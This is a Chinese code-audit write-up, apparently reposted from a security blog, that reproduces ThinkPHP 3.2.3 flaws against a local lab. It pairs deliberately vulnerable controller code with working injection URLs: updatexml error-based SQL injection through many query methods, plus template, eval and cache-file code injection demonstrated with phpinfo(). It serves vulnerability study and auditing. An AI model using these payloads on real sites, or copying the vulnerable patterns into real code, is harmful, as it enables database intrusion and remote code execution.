Thinkphp3漏洞点复现
2021-03-29 18:56:36 Author: xz.aliyun.com(查看原文) 阅读量:242 收藏

配置数据库以及调试

路径

Code-audit/thinkphp_3.2.3_full/ThinkPHP/Conf/convention.php

配置

/* 数据库设置 */
    'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'thinkphp3',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'root',          // 密码
    'DB_PORT'               =>  '3306',        // 端口

或者在Common下配置
加入调试语句:

'SHOW_PAGE_TRACE' =>true,

控制器配置

Code-audit\thinkphp_3.2.3_full\Application\Home\Controller\IndexController.class.php

字符串方式查询

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){

        $map['id'] = I('GET.id');
        $data = M('users')->where($map)->find();
        // $data = M('users')->find(I('GET.id'));
        var_dump($data);
    }
}

where注入

字符串查询

$data = M('users')->where('id='.I('GET.id'))->find();
var_dump($data);

注入:

http://localhost//Code-audit/thinkphp_3.2.3_full/?id=1) and 1=(updatexml(1,concat(0x7e,user(),0x73),1)

调试一下,会进入一个条件判断

一直向下跟,进入到了字符串查询模式

最后返回一个完整的SQL

数组条件查询(防止注入)

数组查询进入__parseType方法,val值会变成int

$User = M("users"); // 实例化User对象
$map['id'] = I('GET.id');
// 把查询条件传入查询方法
$data = $User->where($map)->select();
var_dump($data);

调试跟入,可以看到1p被强制转换为1

table注入

用来切换表名的,当表名可控时,就会产生注入

public function table_sql(){
    $data = M()->table(I('tab'))->where('1=1')->find();
    var_dump($data);
}

先输入一个不存在的表名user(原本为users)

调试看看

这里已经进入到error了,就不会执行select了

输入存在的users表就会进入select

输入注入语句:

http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/table_sql?tab=users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

如果框架使用了table方法,就会存在注入,可以搜索

field方法注入

操作表中字段、限制查询返回的结果,使用的次数比较多
只要field方法的参数可控,无论是数组还是字符串,都可以被注入

public function field_sql(){
    $data = M('users')->field(array('id','username'=>I('name')))->select();
    var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/field_sql?name=uname from users where 1=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

只要控制了字段名和别名都可以注入

alias、join、union方法

alias方法用来操作别名,与field方法类似,一般与join成对出现
如果可控,都可注入,可以使用正则来寻找他们

->alias($a)
->alias($_GET)
->alias(I)
->join($
->union($

->(alias|join|union)\((\$|I)

order、group、having

数组和字符串都存在注入

orderby

例如orderby

public function ogh_sql(){
        $data = M('users')->where('1=1')->order(array('id'=>I('orderby')))->select();
        var_dump($data);
    }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?orderby=,(select 1=updatexml(1,concat(0x7e,database(),0x7e),1))

group

public function ogh_sql(){
    $data = M('users')->field('id,username')->group(I('uname'))->select();
    var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

having

public function ogh_sql(){
    $data = M('users')
    ->field('id,username')
    ->group(I('uname'))
    ->having(I('having'))
    ->select();
    var_dump($data);
}
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/ogh_sql?uname=username&having=(1=updatexml(1,concat(0x7e,user(),0x7e),1))

三者都是在最后进行拼接

comment、index

comment

例子:

public function comment_sql(){
        $data = M('users')->comment(I('comment'))->where('1=1')->find();
        var_dump($data);
    }

comment主要是用来注释的,例如

拼接注释符即可造成注入(在mysql5.5下执行成功)

*/ procedure  analyse(extractvalue(rand(),concat(0x7e,user())),2)%23

index

此方法用于数据集的强制索引操作,对查询强制使用userid索引,userid必须是数据表实际创建的索引名称
例子:

public function getUserIndex(){
    $data = M('users')->force(I('f'))->select();
    var_dump($data);
}

) procedure  analyse(extractvalue(rand(),concat(0x7e,user())),2)%23

全局搜索关键字force来查找漏洞,TP5

query、execute、聚合方法

query

实例化一个空模型后使用query方法查询数据

$data = M()->query("select * from users");
dump($data);

execute

可以新增、修改、删除数据

M()->execute("update users set username='root' where id=1");

聚合方法

count、max、min、avg、sum这5个方法注入场景类似
$data = M('users')->count(I('parameter'));
dump($data);

可控,闭合括号

id) from users where 1=1 and updatexml(1,concat(0x7e,user()),1)%23

EXP注入(表达式注入)

上面的查询条件仅仅是一个简单的相等判断,可以使用查询表达式支持更多的SQL查询语法,也是ThinkPHP查询语言的精髓,查询表达式的使用格式:

$map['字段名'] = array('表达式','查询条件');

EQ :等于(=)
例如:

$map['id']  = array('eq',100);

和下面的查询等效

注入例子:

public function getUser(){
    $map['id'] = $_GET['id'];
    $data = M('users')->field('username')->where($map)->select();
    dump($data);
}

官方I('id'),则不会有注入,跟进的时候会进入where这里,有转义

如果使用原生态的$_GET['id']引入,会带入SQL查询,就有可能产生注入,我们可以传入exp数组

http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1

http://localhost/index.php/Home/Index/getUser?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user()),1)

使用exp时,这里会进行拼接

setInc

public function getUser(){
        $User = M('users');
        $User->where('id=3')->setInc('score',I('num'));
    }

步长没有过滤,下面还有表达式

这里传入

http://localhost/index.php/Home/Index/getUser?num=2 and updatexml(1,concat(0x7e,user()),1)

Action参数注入

一般审计时先查找I方法或$_GET、$_POST等原生态请求,然而Action参数传入也有可能存在注入

public function getUser($id){
        $data = M('users')->field('username')->where('id ='.$id)->select();
        var_dump($data);
    }
http://localhost/index.php/Home/Index/getUser/?id=2) and updatexml(1,concat(0x7e,user()),1)%23

使用正则来搜索存在的action参数

public\s+function\s+[\w_-]+\(\$

组合注入

https://www.kancloud.cn/manual/thinkphp/1771

_string

public function getUserIndex(){
    $User = M("users"); // 实例化User对象
    $map['id'] = array('eq',1);
    $map['name'] = 'ok';
    $map['_string'] = 'score='.I('score');
    $data = $User->where($map)->select(); 
    var_dump($data);
}

http://localhost/index.php/Home/Index/getUserIndex/?score=60) and updatexml(1,concat(0x7e,user()),1)%23

模板漏洞

如果'TMPL_ENGINE_TYPE'设置为php,(默认为think)最后会调用eval,从而造成模板注入

public function getUserIndex(){
        $name = $_GET['name'];
        $this->assign($name);
        $this->display('index');
    }
http://localhost/index.php/Home/Index/getUserIndex?name[_content]=%3C?php%20phpinfo();?%3E

跟进来之后,会执行eval

PHP标签

IndexController.class.php
 public function index(){
        $name = I('name');
        $this->assign('name',$name);
        $this->display();
    }
\Application\Home\View\Index\index.html
 <html>
     <title>
         aaa
     </title>
     <body>
         <h1>aaaa</h1>
         <php>eval(${name})</php>
     </body>
 </html>
http://localhost/index.php/Home/Index/index?name=phpinfo();

缓存漏洞

public function index(){
        // 缓存漏洞
        F('key123','<?php phpinfo();?>');
    }

如果runtime可以访问,则

使用S

文件名为key

内容

可以传入换行符

public function index(){
        // 缓存漏洞
        S('key',I('input'));
    }
Code-audit\thinkphp_3.2.3_full\Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php
Application\Runtime\Temp\3c6e0b8a9c15224a8228b9a98ca1531d.php

Widget扩展

与controlller类似,在同级目录下创建widget

CateWidget.class.php

<?php
namespace Home\Widget;
use \Think\Controller;
class CateWidget extends Controller
{
    public function index(){
        phpinfo();
    }
}

index.html

<html>
     <title>
         aaa
     </title>
     <body>
         {:W('Cate/index')}
     </body>
 </html>

IndexController.class.php
public function index(){
        $this->display();
    }
http://localhost//Code-audit/thinkphp_3.2.3_full/index.php/Home/Index/index.html

参考

https://paper.seebug.org/1377/
https://y4er.com/post/thinkphp3-vuln/
https://www.kancloud.cn/manual/thinkphp/1679
https://www.yuque.com/jxswcy/ctfnotebook/zrlczl
https://www.bilibili.com/video/BV1B54y1k74C?from=search&seid=7073475207116317757


文章来源: http://xz.aliyun.com/t/9326
如有侵权请联系:admin#unsafe.sh